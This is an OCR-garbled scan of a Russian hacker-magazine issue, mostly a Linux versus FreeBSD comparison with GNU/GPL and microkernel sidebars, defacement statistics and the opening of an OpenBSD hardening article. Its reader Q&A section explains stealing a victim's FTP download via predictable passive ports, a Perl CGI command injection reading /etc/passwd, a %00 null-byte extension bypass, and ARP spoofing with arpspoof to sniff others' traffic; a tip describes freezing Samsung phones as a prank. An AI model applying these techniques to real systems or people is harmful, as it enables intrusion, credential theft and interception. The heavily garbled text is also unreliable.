чаешься своим любимым Йр клиентом к Йр сер- 
веру на 21 порт, входишь и набираешь, допус- 
тим, Із (выдать список всех файлов в текущей 
директории). Клиент посылает команду РАЗѴ, а 
затем І_І5Т. Нас интересует именно команда 
РАЗѴ. После нее следует строка примерно сле- 
дующего вида: 200 Епіегіпд Раззіѵе Мобе 
( 1 92, 1 68, 1 00, 1 , 1 6,29). Это означает следующее 
- Йр сервер по адресу 192.168.100.1 открывает 
порт 4125 (16*256+29) для передачи данных. 
Чем это может помочь нам? Некоторые сервера 
выбирают этот порт не случайным образом, а 
каждый раз увеличивают этот номер на единицу. 
Т.е., подключившись к порту 4125 на 
192.168.100.1 , мы получим тот самый заветный 
файлик, который заказал Йр клиент жертвы. 



Есть локаль- 
ная сеть, в ней таіі 
сервер, на котором у 
меня есть аккаунт. Как 
мне через него до- 
браться до Т+р/ИТТр? у 



А: Хочу тебя огорчить, нормального опііпе досту- 
па через почтовый сервер у тебя не получится. 
Хотя вполне реально покачать файлы и даже по- 
смотреть веб-паги. В одном из номеров ][ рас- 
сказывалось о сервисах ѵѵеЬ2таіІ. Рекомендую 
тебе найти этот номер и прочитать. 



68 Ньюсы 



Реррум 



<Іопе 




Взлом 



Юниксоид 




В ПРОДАЖЕ С 19 НОЯБРЯ 



Г Есть сді'шка на > 

перле. Как в ней найти 
уязвимые места? Что 
у. хоть искать-то? у 



А: Прежде всего, надо поискать системные вызо- 
вы. Допустим, в исходнике есть нечто типа 
$ѵаг='есІіо $ѵагіапГ. Где $ѵагіапІ - это некоторая 
переменная, вводимая пользователем. Допустим, 
мы через форму присваиваем $ѵагіапІ=»$ІІЮ», 
тогда в $ѵаг будет результат выполнения есГіо 
$ІІЮ'. Теперь представим себе, что вместо 
«$ІІЮ» мы ввели «$ІІЮ; саі /еіс/раззѵѵсі». Соот- 
ветственно в $ѵагіапІ теперь результат есГіо 
$ІІЮ; саі /еіс/раззѵѵсГ. Далее, если в твоей 
сді’шке открываются какие-либо файлы, то мож- 
но проверить, чекаются ли имена открываемых 
файлов. Допустим, там честно проверяется имя 
файла на расширение .МтІ/.Мт/.М. Если файл 
их не имеет, то они не открываются. А теперь от- 
кроем файл с таким именем - 
«/еІс/раззѵѵсІ%00 . Гііт I » . Открытие такого файла 
даст нам /еіс/раззѵѵсі. Почему? Да потому, что 
символ N11 II ака \0 ака %00 является символом 
конца строки, а, следовательно, все то, что идет 
после него, просто игнорируется. Сді’шка не вос- 
принимает его как конец строки и спокойно об- 
рабатывает. Это самые распространенные уязви- 
мости, но на самом деле их гораздо больше. 



Поставил се- 
бе на машину сниф- 
фер, звоню модемом 
провайдеру, запус- 
каю снифсрер, а он у 
меня только мои па- 
кеты видит. Что я де- 
^ лаю не так? 



ч 



А: Для начала надо понять, как работает зпійег. 

А работает он следующим образом: любой па- 
кет, отправленный с машины в одной подсети, 
достанется ВСЕМ машинам в этой же подсети. А 
ответит на него только та, которой он предназ- 
начен. Зпійег принимает все, что приходит на 
машину, тем самым перехватывая чужие пакеты. 
Если между тобой и сетью стоит маршрутиза- 
тор, и он не настроен слать тебе все пакеты, то 
ты будешь получать только то, что тебе причита- 
ется... Когда ты соединяешься с провайдером, 
роль такого маршрутизатора выполняет твой 
гейт. Он и отправляет тебе только твои пакеты. 
Правда, существует способ обмануть машину 
отправителя и завернуть все пакеты, адресован- 
ные гейту, на себя. Делается это следующим 
образом. Есть такой пакет сізпій (кстати, очень 
полезная штука). В ней есть утилита агрзрооГ 
Вот она-то тебе и нужна. Допустим, у тебя есть 
в сетке машина, но сниффер на ней тебе ничего 
не дает, т.к. роутер все режет. Что же делать? 
Надо объяснить всем, что роутер - это ТЫ. Бе- 
решь агрзрооі и запускаешь агрзрооі -I <жерт- 
ва> <да1е>. Итак, теперь ты начинаешь слать 
жертве пакеты о том, что ты - гейт. Следова- 
тельно, жертва, продолжая слать пакеты на гейт, 
будет слать их тебе. 



' Эти вопросы меня уже ' 

достали 

Я уже давно создал на своем сайте 
ѵѵѵм.сѵбзой.сот/ѵг-опііпе раздел «Боль- 
шой РАО», где я выкладываю все часто 
задаваемые вопросы и ответы. Прежде 
чем задавать мне вопрос, посмотри, мо- 
жет на сайте уже есть ответ. 

<???> Если не секрет - есть где-ни- 
будь в Питере филиал вашего журнала 
или что-нибудь подобное? 

<???> Видове выдал синий экран - на- 
рушение работы ЭВМ. Я могу подать в 
суд на МісгозоЙ? 

<???> Я не могу кликнуть по монитор- 
ному меню мышкой! Что мне делать? 

<???> У меня закончился коврик для 
мышки, а мне нужно пододвинуть курсор 
дальше, что мне делать? 



Свое мнение об этих вопросах я 
оставлю при себе и ничего не бу- 
ду комментировать. Свои вариан- 
ты ответов на эти ламоразмы мо- 
жешь слать мне, я с удовольстви- 
ем их прочитаю. 






ТПІСН 



Этот типс&трикс наверное будет интересен 
многим, как начинающим, так и "закончен- 
ным" фрикерам :)) Короче... в мобильниках 
Затзипд ЗСН-В2105 и Затзипд N600 (и N620 
тоже ;) существует серьезный баг прошивки. 
Если в качестве номера набрать: +р/ (а затем 
позвонить на этот номер...). Мобила повис- 
нет, до такой степени, что клавиша отмены не 
спасет :)) и не пробуйте ее удерживать, мо- 
бильник все равно не выключится! Клавиатура 
полностью "мертвеет" и не реагирует на по- 
ступление команд. Единственный способ 
"оживить" ваш телефон - это вытащить акку- 
муляторную батарею (чтобы выключить моби- 
лу), а затем заново вставить... и ввести Р№- 
код. Если ты не знаешь, как набрать +р/ на 
телефоне, объясняю популярно... (сначала 
удерж, клавишу 0, затем удерж, клавишу * и 
наконец зажать кнопку со знаком #). Если вы 
не являетесь хозяином данных трубок, не рас- 
страивайтесь... может быть один из ваших 
знакомых собирается приобрести себе труб- 
ку? Ну, что же... помогите ему с выбором, а 
затем приступайте к западлу ;-)) 

Баг нашел Феликс (Оиіск$іІѵеР) Калайчев 

ѵѵеЬ: ИНр://5есигйу-20пе.Ьу.ш/, таіі: 
гЬс-гооІ@Ьк.ш, #ІСО: 1399102 
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Первая российская 
локализация игры для Р52, релиз 
которой запланирован на начало 
2003 года. Читайте подробный 
рассказ об этом многообещающем 
сплаве ТоплЬ Наісіег и Оетоп’з Сгезі 

Российский 

игровой проект первого эшелона 
все еще находится на стадии 
разработки, но мы уже знаем все 
его основные подробности, о чем и 
спешим вам поведать. 

Глаз Дракона. Внутренний 

мир и душевные переживания 
дракона в одном из самых 
интересных российских проектов 
года. 

Недетские гонки. Гонки на 

радиоуправляемых машинках 
захватывают ничуть не меньше, чем 
соревнования на настоящих 
автомобилях. По крайней мере с в 
случае с игрой от Сгеаі Зіибіо это 
утверждение верно на все сто. 

: гезИ (Затез В начале 
этого года Еісіоз запустила новую 
марку, под которой планировалось 
выпускать на 100% японские 
проекты, чьи шансы появиться на 
Западе равнялись нулю... 
Представляем вам все игры, 
вышедшие в линейке «свежих игр», 
включая І_едаіа 2 ОиеІ Зада, 
которую мы уже отчаялись 
получить. 



СТРАНА 



ЯштВПшИ 

ѵѵѵѵѵѵ.датеіапсі.ги 









Дабы оправдать громкое название статьи, скажу, что в ней мы решим и определимся наконец: Ыпих или 
РгееВЗй - кто из этих двух самых популярных на сегодняшний день ипіх-Ііке систем достоин называться луч- 
шим? И почему? И чем они различаются? И кто из них наиболее близок по духу к классическому ІІЫІХ? И, 
наконец, что ответить людям, присылающим мне письма в духе "я решил, наконец, поставить Линух, какой 
дистрибутив выбрать?". Все эти вопросы мы и объединили под одним заголовком. 
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РЕШИВШИМ ПОСТАВИТЬ СЕБЕ ЮНИКС ПОСВЯЩАЕТСЯ 



0: Чем РгееВЗО лучше, чем І_іпих? 

А: Во РгееВЗО логотип - симпатичный чертенок 
(вернее, даемон - нечто вроде личного демона, 
обязанного помогать своему владельцу и к силам 
зла отношения не имеющего) с вилами, а в Шпих 
- (глупый) пингвин (робко прячет тело жирное), 
что достаточно пошло и совсем не круто ;). 

(Из РАСГов на ореппеіги) 




Начнем с Шпих'а. Вопреки впечатлению, которое может 
сложиться от чтения заметок в сети или журналах, Шпих - 
это не более, чем ядро операционной системы. Само по 
себе не пригодное к использованию в каких-либо целях, 
кроме разработки ядра же (да и то с оговорками). Поль- 
зователю ѴѴіпсіоѵѵз, где даже браузер и медиа-плейер 
воспринимаются как неотъемлемые части операционки, 
это может показаться непривычным, но то, что придает 
Шпих'у его функциональность - большинство системных 
утилит, практически все приложения и уж во всяком слу- 
чае все средства обеспечения графического интерфейса 
(сиречь оконная система X и менеджеры окон) - к Шпих'у 
как таковому не имеют ни малейшего отношения. За ис- 
ключением того, что они работают и под Шпих'ом тоже. 
Не менее (но и не более) успешно, чем под любым дру- 
гим ІІпіх'ом или тем, что застенчиво именуют "ІІпіх-по- 
добными системами" (в число коих попадают и ВЗО-сис- 
темы). И, будучи разработанным в рамках самостоятель- 
ных проектов (СІМІІ и многих иных, соплеменных по ду- 
ху), так же доступны в них, как и в Шпих'е. 



Не случайно Ричард Столлман, основоположник и апостол 
движения за открытые исходники, всегда ратовал за то, 
что Шпих как система для пользователя должен бы по-хо- 
рошему называться СШ Шпих: без СІМІІ-приложений поль- 
зователь получил бы мало радости от работы с ним. Впро- 
чем, тема СІМІІ заслуживает отдельного разговора, выне- 
сенного во врезку. 

Комплектация ядра Шпих'а приложениями для практической 
работы и средствами ее обеспечения (так сказать, боевого 
- системными утилитами, и тылового - библиотеками, на- 
пример) именуется обычно дистрибутивом. Занимаются та- 
кой комплектацией и коммерческие (квази-коммерческие) 
фирмы, и сообщества разработчиков, и даже просто инди- 
видуумы. И руководствуются при этом они исключительно 
своими соображениями о том, что, с их точки зрения, удоб- 
но и нужно народу (к их чести, мнение последнего также 
учитывается). Дистрибутивов Шпих'а имеются многие мно- 
жества - на сайте ѵѵѵм.ШпихШпкз.огд, например, список 
только рабочих и полнофункциональных их представителей 
составляет десятки экранных страниц мелким шрифтом. 

Из сказанного ясно, что пользователь Шпих'а с этой сис- 
темой в повседневной жизни практически не общается - 
если он, конечно, не разработчик ядра (а разработчик 
ядра Шпих'а - тоже пользователь этой ОС, не так ли?). А 
общается он именно с тем, что предоставили в его рас- 
поряжение создатели дистрибутива - по крайней мере, 
на первых порах. Потом -то ему не возбраняется черпать 
из безбрежного и бездонного моря открытого софта. Но, 
так сказать, потребительские качества должны оцени- 
ваться не только (а может быть - и не столько) для 
Шпих'а как такового, но и для его реализаций, воплощен- 
ных в конкретных дистрибутивах. 




Теперь о ВЗО-системах. Это - общее обозначение группы 
ОС, связанных единством происхождения от той ветви 
ІІпіх, которая в середине 70-х годов попала в Университет 
Беркли. Именно №Ш30, РгееВЗО и ОрепВЗО ныне пред- 
ставляют свой клан в мире открытых и бесплатных 
ІІпіх'ов. Правда, есть еще и Оапл/іп - открытая реализация 
МасОЗ X, но это пока - весьма ранняя бета, не только не 
вполне работоспособная, но даже не очень устанавливае- 
мая. Кроме того, в стадии (вяло-) текущей разработки на- 
ходятся Уатій и хМасН - ВЗО-подобные системы с микро- 
ядерной архитектурой. Об их работоспособности судить 
трудно, но установка, по крайней мере, хМасіі - занятие 
для настоящих тасНоз. И потому речь дальше пойдет 
только о трех первых именах этого абзаца. 

В отличие от Шпих, это - именно самостоятельные и 
(почти) самодостаточные ОС, каждая со своим ядром, 
своей, хотя и родственной, файловой системой, набо- 
ром системных сервисов, органичным (хотя и пересека- 
ющимся) кругом утилит и приложений. Этот базовый 
комплект, носящий во РгееВЗО название ОізІгіЬиІіоп (си- 
речь дистрибутив, по-русски), и охватывается понятием 
ОС №*- (Ргее-, Ореп-) В50. 

Как можно заметить, средства обеспечения графичес- 
кого интерфейса не были упомянуты в перечне базово- 
го комплекта. И, строго говоря, в него не входят, что 
особенно подчеркивается разработчиками ВЗО-систем. 
Однако такие средства распространяются вместе с ба- 
зовым комплектом в виде свободной реализации окон- 
ной системы X - ХРгее86. И это - точно та же система 
X, которая включается во все дистрибутивы Шпих, - ни 
малейших отличий в исходных текстах между ними нет 
по определению. 
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Уже достаточно много написано про историю *піх, настало время порас- 
суждать о будущем. А оно уже перед нами. Не факт, что его ждет успех, 
однако внимания оно заслуживает. Я говорю о микроядре. 

Как известно, традиционно ІШІХ построен по классической архитектуре, 
когда ядро - это монолитная часть системы, в которой работают важные 
системные процессы. Оно одно, большое и сложное. Микроядерная же 
архитектура подразумевает дробление ядра на несколько микроядер, 
гораздо более простых по отдельности и связанных вместе для выпол- 
нения функций большого ядра. По словам сторонников такой архитекту- 
ры, это упростит разработку ОС, сделает ее гибче и понятнее. Одним 
словом, за микроядром - будущее, а монолит - на помойку истории. Но 
не все так однозначно. Сторонники классической модели (к коим отно- 
сится и Торвальдс) парируют вышеприведенные аргументы, утверждая, 
что хоть модули и получатся проще, но связь между ними усложнится до 
предела, и еще неясно, что легче написать - большое ядро или связан- 
ные микроядра. Во-вторых, и в-главных, "классическая" система _рабо- 
тает_, и работает отлично - В80, Ыпих и т.п. тому примером. А микрояд- 
ро? Ничего толкового в мире *піх на нем пока не написано. Но ведь су- 
ществуют же какие-то проекты? Действительно, существуют. 
Во-первых, это проект НІІПР (название - еще один акроним, да еще 
двойной: "НІІРО" - это "НігсІ о* ІІпіх-РерІасіпд Оаетопз", а "НігсГ - это 
"НигсІ о! Іпіегіасез Рергезепііпд ОерІИ". Хакеры извратились :). Когда я 
говорил, что проект СМІІ сошел на нет из-за рождения Ыпих, я был не- 
много не прав. Да, Ыпих серьезно подорвала планы тогдашней восьми- 
летней разработки ОС СМІІ (Столлман начал работать над СМІІ в 1983 
г.): вот вам бесплатный Юникс, распространяемый под СРІ_, берите, 
сколько хотите. И действительно, на Ыпих обратили взор десятки ком- 
паний и миллионы людей. Были даже идеи закрыть проект НІІРО и ис- 
пользовать ядро Ыпих как ОС СМІІ. Но Столлману хотелось нечто иного, 
принципиально нового, а Ыпих - всего лишь дитя революции и копия 
ядра ІІИІХ, воспроизведенная с нуля. И еще до Линукса, в 1983 г., он 
задумывается о микроядре, как замене несовершенному существую- 
щему. Сначала таким ядром был ТРІХ, разрабатываемый там же, где 
работал Столлман, - в Массачусетском технологическом институте. Од- 
нако затем разработчики переключились на другое микроядро - МасН, 
разрабатываемое университетом Карнеги-Меллона (впрочем, проект 
этот кочевал по ряду других университетов и ныне практически мертв - 
последнее обновление его датируется 1996 г.). Работы продвигались, 
но потом возникли проблемы с выпуском ядра под лицензией СРІ_, что- 
бы свободно продолжать работу над ним. А тут и Линукс подоспел, все 
внимание общественности переключилось на него, и становится понят- 
но, почему до сих пор выпущено лишь два черновых варианта оконча- 
тельного ядра - под именем НІІРО, основанного на МасН. И вот уже 20 
лет они все тянут кота за хвост (как именно - можно почитать на 
ѵѵѵѵѵѵ. НигсІ. ш), в то время как Ыпих написан за год с нуля простым фин- 
ским студентом (ну, не совсем простым :). 

Второй проект с тем же микроядром МасН - это Мае 08 X. Да, "яблоч- 
ники" тоже приложили свою руку к переработке 4.4В8Р и МасН, ре- 
зультатом чего стала разработка революционной Мае 08 X. Впрочем, 
среди профессионалов об этой системе не очень высокое мнение, к 
тому же примечателен следующий факт: Арріе приглашала на роль ве- 
дущего специалиста по разработке Мае 08 X самого Торвальдса, од- 
нако он отказался, сочтя МасН неинтересной и бесперспективной. Ну, 
не нравится ему микроядро :). 

Есть, конечно, и удачная реализация микроядерной архитектуры - это 
знаменитая система реального времени ОИХ. Но это - не совсем ІІпіх, 
отнюдь не Ореп Зоигсез (хотя на определенных условиях и бесплат- 
ная), и уж микроядро там вовсе не МасН... Но, в целом, пока микро- 
ядерная архитектура в ипіх-Ііке'системах не сказала своего решитель- 
ного слова и громко не заявила о себе. Пока... 

А пока Линус Торвальдс работает в компании Тгапзтеіа, цель которой 
- выпустить процессор, который бы потреблял рекордный минимум 
энергии за счет мощной программной эмуляции различных режимов 
работы. 

Ыпих развивается, и все ждут релиза ядра версии 2.6. Пока что актив- 
но обновляется девелоперская ветка 2.5.x. 

РгееВЗО медленно, но верно идет к своему релизу 5.0. 

Что-то будет... 



Функциональность такого базового комплекта достаточно велика: без привлечения до- 
полнительных программ он обеспечивает полное администрирование системы, работу 
с файлами, текстами, доступ к сетевым службам, пользовательский интерфейс в лице 
зИеІГов разного рода, средства защиты информации. То есть по потребительской сути 
своей ВЗО-системы больше похожи на те ОС, к которым привыкли пользователи ли- 
нии ООЗ/ѴѴіпсІоѵѵз ("все-в-одном"). 

Это, однако, отнюдь не является препятствием к использованию под любой из 
ВЗО-систем всего того изобилия открытого и свободного софта, который обыч- 
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но ассоциируется с Шпих-приложениями. Во-первых, любая 
программа, написанная под абстрактный ІІпіх (либо І_іпих), 
может быть непосредственно (или после минимальной, кос- 
метического характера, правки) скомпилирована для работы 
в ВЗО-системе. Во-вторых, для подавляющего большинство 
практически полезного софта эта работа уже проделана раз- 
работчиками - и он распространяется в виде бинарных, 
очень просто устанавливающихся пакетов (Раскадез) вместе 
с базовым комплектом, хотя с ним и не смешиваясь. 

А в-третьих (и - главных!), наращивание функционально- 
сти базовой системы обеспечивается уникальной, впер- 
вые появившейся во РгееВЗО (и заимствованной 
ОрепВЗО) системой портов. Она охватывает подавляю- 
щее большинство (увеличивающееся в размере чуть ли 
не ежедневно) ІІпіх-приложений, доступных в исходных 
текстах, и обеспечивает их получение по Сети, адапта- 
цию для работы в данной ОС, компиляцию и установку. 



Вопрос выбора 



А теперь - собственно о сравнении І_іпих- и ВЗО-систем. 
Каковое также имеет два аспекта - технологический и, так 
сказать, потребительский. Общераспространенное мнение 
гласит, что ВЗО-системы (в первую очередь РгееВЗО) пре- 
восходят І_іпих технологически, тогда как І_іпих дружелюб- 
нее к пользователю. Однако вопрос представляется мне не 
столь уж однозначным. 

Относительно технологического превосходства ядра В50 
спорить довольно трудно (а когда говорим о юниксах, 
говорим прежде всего о ядре - центральной части сис- 
темы). Хотя бы потому, что оно развивается почти втрое 
дольше, чем ядро І_іпих. Объективные критерии здесь 
привести трудно, однако, по моему впечатлению, устой- 
чивость РгееВЗО выше, чем какого бы то ни было І_іпих- 
дистрибутива. Однако: устойчивость любой из обсужда- 
емых систем более чем достаточна для настольного при- 
менения. Что же касается устойчивости приложений - 
это зависит исключительно от условий их сборки для 
конкретной системы - раз, и от тщательности тестирова- 
ния - два. И если одно и то же приложение во РгееВЗО 
отличается завидной устойчивостью, а в ОрепВЗО - от- 
менной падучестью (а я с таким сталкивался неодно- 
кратно), ядро системы здесь абсолютно не при чем. Ну 
а уж в Шпих'ах устойчивость приложений скачет от дис- 
трибутива к дистрибутиву, как тушканчик. Всем знакома 
ситуация, когда в одном дистрибутиве І_іпих какой-ни- 
будь Хсііаі просто летал, а в другом - немилосердно сы- 
пался. То-то... 

Поэтому проведем наш анализ с точки зрения потреби- 
тельских качеств (в частности, пресловутой дружелюбно- 
сти к пользователю). И при этом - в пользу ВЗЭ (кон- 
кретнее - РгееВЗО, как наиболее развитого представите- 
ля клана). Удивлены? 

Конечно, современные т.н. изег-ориентированные дис- 
трибутивы І_іпих предлагают красивые графические про- 
граммы установки и конфигурирования, внешне удобные 
средства разбиения диска, вход в систему с автоматиче- 
ской загрузкой интегрированной графической среды 
(КОЕ и СІМОМЕ) и прочие атрибуты пользовательской 
системы. Ріа этом фоне аскетичный инсталлятор 
РгееВЗО (не говоря уже о до жути минималистском уста 



СІШ и СРІ. 



Все слышали эти две аббревиатуры, но не все 
до конца понимают, что они означают. Извест- 
но только, что они широко используются, когда 
говорят об Ореп Зои гее, и о Ыпих'е в частности. 
А на самом деле - все просто. Как только стали 
выпускаться свободные версии продуктов под 
ІІЫІХ-Ьазес) системы, тут же возникла необхо- 
димость юридически очертить рамки и понятия 
"свободного софта". И действительно, что по- 
нимать под словом "свободное ПО", является 
ли оно синонимом "бесплатного ПО" и что с 
этим "свободным ПО" можно делать, не опаса- 
ясь преследования в суде. Именно это и описа- 
но в лицензии ОРІ. - СепегаІ РиЫіс Ысепзе, ко- 
торая была составлена под руководством изве- 
стного фаната Ореп Зоигсе Ричарда Столлма- 
на, в те годы - работника Массачусетского тех- 
нологического университета, и в рамках нее 
распространяется почти весь свободный софт 
(для интересующихся - неофициальный пере- 
вод оной на русский язык тут: 
ИНр Ііпих. ги/гіосз/гиззіап/СРІ./) . 

Прежде всего, ОРІ. определяет, что есть "сво- 
бодное ПО" - это такое ПО, когда каждый име- 
ет право получить не только саму программу, 
но и ее исходные коды, именно это отличает 
понятие "свободный софт (Тгее зоНѵѵаге)" от 
"бесплатный софт (ігееѵѵаге)". Ведь те же до- 
бавки в ѴѴіпсІоѵѵз типа пакета РІиз или Роѵѵег 
Тоуз - бесплатны, скачивай с сайта М3, сколь- 
ко влезет, однако ж это ни в коем случае не от- 
крытое ПО, исходники к ним, естественно, не 
поставляются, и полезны они только если ты 
купил ѴѴіпсіоѵѵз :). Но сама соль ОРІ. не в этом. 
А в том, что лицензия определяет следующее: 
любой имеет право получить исходные тексты 
продукта и модифицировать их, как его душе 
угодно (переделать под себя, добавить функ- 
ции, убрать баги). Но если он возьмется рас- 
пространять измененную программу, также в 
соответствии с ОРІ., то он обязан включить в 
свой дистрибутив и исходные тексты модифи- 
цированного им самим продукта, указав, что 
именно он изменил. В этом кроется изюминка 
СРІ.: программы по-настоящему принадлежат 
сообществу Ореп Зоигсе, и каждый, кто полу- 
чает доступ к исходникам, может улучшить их, 
и эти улучшения также будут доступны всем. В 
результате получаем практически обточенный 
со всех сторон продукт, прошедший через руки 
сотен разработчиков и вобравший в себя те ка- 
чества, которые хочет народ (пользователь, 



сообщество), а не те, которые решила ему 
(продукту) приписать какая-нибудь компания, 
ведомая коммерческими интересами. А под- 
час - и несколько экземпляров продукта, с раз- 
ными свойствами, ведь вкусы у людей разные. 
Да, именно так обстоят дела с дистрибутивами 
Ыпих, коих множество различных, на любой 
вкус - от ЗІаскѵѵаге до йеЬіап. Неудивительно, 
что при этом дистрибутив, скажем, РгееВЗО, 
всего один, и никому в голову не придет делать 
ее клон, хотя - все исходники доступны. 

Дабы подчеркнуть, что это - свободное - на- 
правление дистанцируется от изначально ком- 
мерческого ІШІХ'а (ІІЙІХ - зарегистрированная 
торговая марка), ему было дано название СІ№, 
что переводится как СІ№ із ІМоІ ІІпіх (забавная 
рекурсивная аббревиатура). Соответственно, 
лицензию СРІ. часто называют лицензией СЫІІ 
- это одно и то же. 

Разумеется, лицензия СРІ. - не единственная, 
под которой распространяется софт, в полной 
мере подпадающий под понятие открытого и 
свободного. Так, ВЗО-системы обладают собст- 
венной лицензией (которая, как ни странно, так 
и называется - ВЗО- лицензия). В некоторых от- 
ношениях она еще более либеральна, чем СРІ.. 
В частности, она не требует обязательного от- 
крытого распространения программ, созданных 
на ее основе (чем и воспользовались, напри- 
мер, разработчики МасОЗ X). Этот момент ВЗй- 
лицензии - предмет критики со стороны орто- 
доксальных СРІ-'щиков. Что, впрочем, не меша- 
ет и им признавать ВЗй- и СРІ_-лицензии совме- 
стимыми - то бишь могущими быть использо- 
ванными в едином проекте. 

Наконец, СИ II - это еще и проект по созданию 
свободной Упіх'оподобной ОС, которая была 
бы открыта и распространялась под лицензией 
СРІ.. Проект этот так и не был завершен (не за- 
вершен он и по сей день), так как все карты 
разработчикам спутало рождение Ыпих в 1991 
году. Но, в конце концов, это пошло на пользу 
СЫй: как известно, Линус Торвальдс не желал 
придумывать свою лицензию для Ыпих, кото- 
рый он и так хотел сделать свободным, а пото- 
му начал распространять его под СРІ.. А учиты- 
вая, что при написании своей ОС Торвальдс ак- 
тивно пользовался продуктами СЫІІ (как он 
сам говорит: "Я стоял на плечах гигантов"), то 
фанаты Ореп Зоигсе ратуют за то, что Ыпих 
правильнее называть СИй/Ипих, подчеркивая 
тем самым его природу. 



ЧТО ЧАЩЕ ЛОМАЮТ? 



Надежность системы обратно пропорциональна количеству взломанных машин, на которых она 
запущена, это очевидно. И сразу необходимо добавить - при достаточном распространении 
этой системы. То, что и РгееВЗО, и Ыпих весьма популярны как серверные Оси, - сомнений нет, 
поэтому особенно интересно проследить, машины, управляемые какой из сих двух систем, ча- 
ще бывают взломаны кибертеррористами. Разумеется, мы можем оценивать этот фактор лишь 
косвенно, т.к., как правило, о взломе какого-либо сервера общественность узнает лишь тогда, 
когда на месте "боевых действий" остается визитная карточка очередного скрипт-кидди - де- 
фейс. Существуют спецархивы дефейсов, один из них - ѵѵѵѵѵѵ.аіісіаз.огд, на примере его статис- 
тики мы и посмотрим, какая ось чаще подвергалась надругательствам за последние два с поло- 
виной года, то бишь с апреля 2000. 

На первом месте, разумеется, ѴѴіпсіоѵѵз - около 57% всех дефейсов пришлось на долю серверов 
под ѴѴіпЫТ 5егѵег/ѴѴіп2к Зегѵег. На втором месте - Ыпих (22% дефейсов). Далее - Солярис 
(Зоіагіз, около 4%), и на четвертом месте - РгееВЗО, всего 3% сайтов, крутящихся под нею, бы- 
ло задефейсено. Далее идут всякие Ігіх'ы, НР-ІЖ'ы и ІЛ Ігіх'ы - малый процент их определяется 
скорее непопулярностью этих ОС. Но, напомню, все это относительно, т.к. далеко не всегда 
взлом - это дефейс, который постепенно становится уделом лишь резвящихся зегірі-кіеіеііез. 
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новщике ОрепВЗО) выглядит более 
чем скромно. 

Однако все в жизни имеет свою обо- 
ротную строну. И за внешнюю просто- 
ту Шпих-инсталляторов приходится 
платить гигабайтами автоматически 
устанавливаемого софта непонятного 
назначения, да, пожалуй, что и непо- 
ниманием смысла собственных дейст- 
вий. Инсталлятор же РгееВЗО (зузіп- 
зіаіі, он же - практически универсаль- 
ный инструмент настройки) при всем 
своем кажущемся аскетизме обеспе- 
чивает высочайшую функциональность 
и баланс между "умолчальными" уста- 
новками (не обязательно лучшими, но 
всегда разумными) и возможностью 
"ручного" вмешательства. Именно по- 
этому дефолтовая установка РгееВЗО 
"со всеми делами" (то бишь с иксами 
и всеми повседневно нужными прило- 
жениями) занимает мегабайт 800-900 
и грузится 10-15 секунд, а среднеста- 
тистический дистрибутив І_іпих (будь 
то Мапбгаке или Веб Наі) с радостью 
готов откушать три, а то и четыре ги- 
габайта дискового пространства и гру- 
зится неприлично долго. 

Следующий момент, интересующий 
пользователя, - поддержка всякого ро- 
да устройств. Здесь, казалось бы, 
превосходство за Шпих'ом, ведь мало- 
помалу производители оборудования 
начинают снабжать свои поделки 
средствами поддержки этой ОС. Одна- 
ко и РгееВЗО успешно справляется с 
определением большинства распрост- 
раненных современных устройств - от 
звуковых карт до телетюнеров. А уж о 
сетевых средствах и говорить не при- 
ходится, настройка сети во РгееВЗО 
происходит не просто, а очень просто. 
И последнее по счету, хотя и первое 
по значению - это, конечно, приклад- 
ные программы. И здесь традиционно 
утверждается, что база приложений 
для І_іпих много шире, чем для ВЗО. 
Согласиться с этим трудно - как раз 
база-то у них общая, и для подсчета 
программ, разработанных в рамках 
Ореп Зоигсез, с одной стороны, и спе- 
циально для І_іпих - с другой, хватит 
пальцев одной руки. А любая абст- 
рактно-юниксоидная программа, как я 
уже говорил, может быть скомпилиро- 
вана для ВЗО-системы. Во всяком 
случае, все требовавшееся мне и от- 
сутствующее в портах РгееВЗО соби- 
ралось "на ура". 

Ну а с точки зрения наращивания мо- 
щи система портов РгееВЗО - просто 
вне конкуренции. Правда, чтобы ею 



воспользоваться, требуется хоть какой 
доступ в Интернет (не обязательно с 
той машины, на которую порты уста- 
навливаются). Но уж если таковой есть 
- по простоте и эффективности с пор- 
тами не сравнить ни Веб Натовский 
ВРМ, ни ркдіооіз из ЗІаскѵѵаге, ни да- 
же, как говорят, ОеЬіап'овский АРТ. 
Другое дело - коммерческие и квази- 
коммерческие приложения, недоступ- 
ные в исходниках, существующие в 
Шпих-версиях и только в них (тут на 
память приходит ВеаІРІауег и тому по- 
добное, а также кучка коммерческих 
систем сетевой безопасности). Но и 
это не дает оснований для пессимиз- 
ма: РгееВЗО (а также ОрепВЗО) имеет 
средства для запуска бинарных І_іпих- 
приложений, причем - без потери про- 
изводительности (существует даже 
мнение, что с приращением произво- 
дительности). 
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При этом я не хотел бы создать впе- 
чатление, что РгееВЗО - однозначно 
лучший выбор для любого пользовате- 
ля, нежели І_іпих. Все же поначалу она 
кажется сложноватой, а главное - не- 
привычной. Так, я никогда не рискнул 
бы ставить ни одну из ВЗО-систем, не 
приобретя некоторого навыка в обра- 
щении с ІІпіх-системами на базе 
именно изег-ориентированных дистри- 
бутивов І_іпих. Однако сему виной, ве- 
роятно, тлетворное влияние ѴѴіпбоѵѵз - 
не так-то просто из мира дгид'п'бгор'а 
и интуитивного интерфейса спуститься 
в темень консоли. 

Чем, видимо, подкупает І_іпих - это по- 
тенциальная возможность вмешаться в 
процесс его разработки. Поучаство- 
вать в изменении мира, так сказать. 
Главное же - и І_іпих, и любая из 
ВЗО-систем по большому счету суть 
ІІпіх. И, как любой ІІпіх, все они 
обеспечивают эффективное использо- 
вание ресурсов компьютера, более 
чем реальную многозадачность, ус- 
тойчивость и защищенность, на поря- 
док превосходящие ѴѴіпбоѵѵз любого 
рода. А с точки зрения внутреннего 
устройства разницы между ними 
меньше, чем между ОС линий 
ѴѴіпбоѵѵз /9Х/МЕ, с одной стороны, и 
ѴѴіпбоѵѵз МТ/2000/ХР - с другой. 
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Итак, ты выбрал ОрепВЗй в качестве начинки для своего сервера, как одну из 
самых безопасных операционок. Однако если ты собираешься раздавать на 
своей машине шеллы, неплохо бы принять кое-какие дополнительные меры 
предосторожности, дабы усложнить жизнь потенциальным взломщикам. В этом 
как раз тебе поможет пакет Зіерііапіе, о нем и пойдет речь в этой статье. 



ОрепВЗР - свободно распространяемая операционная 
система, основанная на 4.4В8Р. Главной целью проекта 
является максимальная безопасность. Проект был основан в 
1994 году. Текущая версия ОрепВЗй 3.1 . Домашняя страница 
проекта: ИНр://ѵѵѵѵѵѵ.орепЬ5СІ.огд 



Сейчас существует множество патчей для различных ипіх-Ііке систем, 
